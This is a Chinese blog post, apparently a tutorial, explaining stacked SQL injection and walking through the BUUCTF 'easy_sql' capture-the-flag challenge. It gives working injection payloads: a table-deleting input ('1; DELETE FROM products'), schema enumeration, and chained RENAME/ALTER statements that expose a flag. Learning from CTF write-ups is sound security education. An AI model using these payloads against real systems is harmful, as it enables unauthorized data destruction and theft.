SQL隱碼攻擊-堆疊注入

胖三斤1發表於2021-07-04

SQL隱碼攻擊-堆疊注入

堆疊注入定義

Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 語句(多條)一起執行。而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令列中, 每一條語句結尾加; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做 stacked injection。

堆疊注入原理

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。使用者輸入:1; DELETE FROM products伺服器端生成的sql語句為: Select * from products where productid=1;DELETE FROM products當執行查詢後,第一條顯示查詢資訊,第二條則將整個表進行刪除。

堆疊注入的侷限性

堆疊注入的侷限性在於並不是每一個環境下都可以執行,可能受到 API 或者資料庫引擎不支援的限制,當然了許可權不足也可以解釋為什麼攻擊者無法修改資料或者呼叫一些程式。

下面就介紹一下資料庫相關堆疊注入的一些操作

  1. 建立資料庫

    create database 資料庫名;
    
  2. 刪除資料庫

    drop database 資料庫名;
    
  3. 修改表名

    rename table 原表名 to 新表名; 
    
    //當你執行 RENAME 時,你不能有任何鎖定的表或活動的事務。你同樣也必須有對原初表的 ALTER 和 DROP 許可權,以及對新表的 CREATE 和 INSERT 許可權
    
  4. 修改 words 表裡面的 flag 列為 id 列

    alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
    
  5. 查詢資料庫名,表名

    show database();
    show tables;
    

來一個實戰吧!BUUCTF裡面的easy_sql

1.測試有無注入點

img

2.用order by 確定欄位數是2個

1' order by 2#

3.嘗試使用union查詢資料庫名

1' union select 1,database()#

//發現select被過濾了,所以union查詢也就用不了

4.嘗試使用堆疊注入

1';show database();#       //查詢資料庫名稱

5.然後查詢表名

1';show tables;#

6.然後查詢兩個表的有哪些列

1';desc `1919810931114514`;#
1';desc words;#

//發現flag在 1919810931114514 表裡
//我們發現words表裡有id ,data兩列,可以猜測我們提交的查詢的視窗就是在這個表裡查詢資料的
//那麼查詢語句很可能是:select id,data from words where id = 
//因為可以堆疊查詢,這個時候我們可以把words改為words1,然後把 1919810931114514 改
//為words,再把列名flag改為id,然後用1' or 1=1#爆出表所有內容就可以得出flag

payload:

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

7.最後爆出flag

1' or 1=1#

相關文章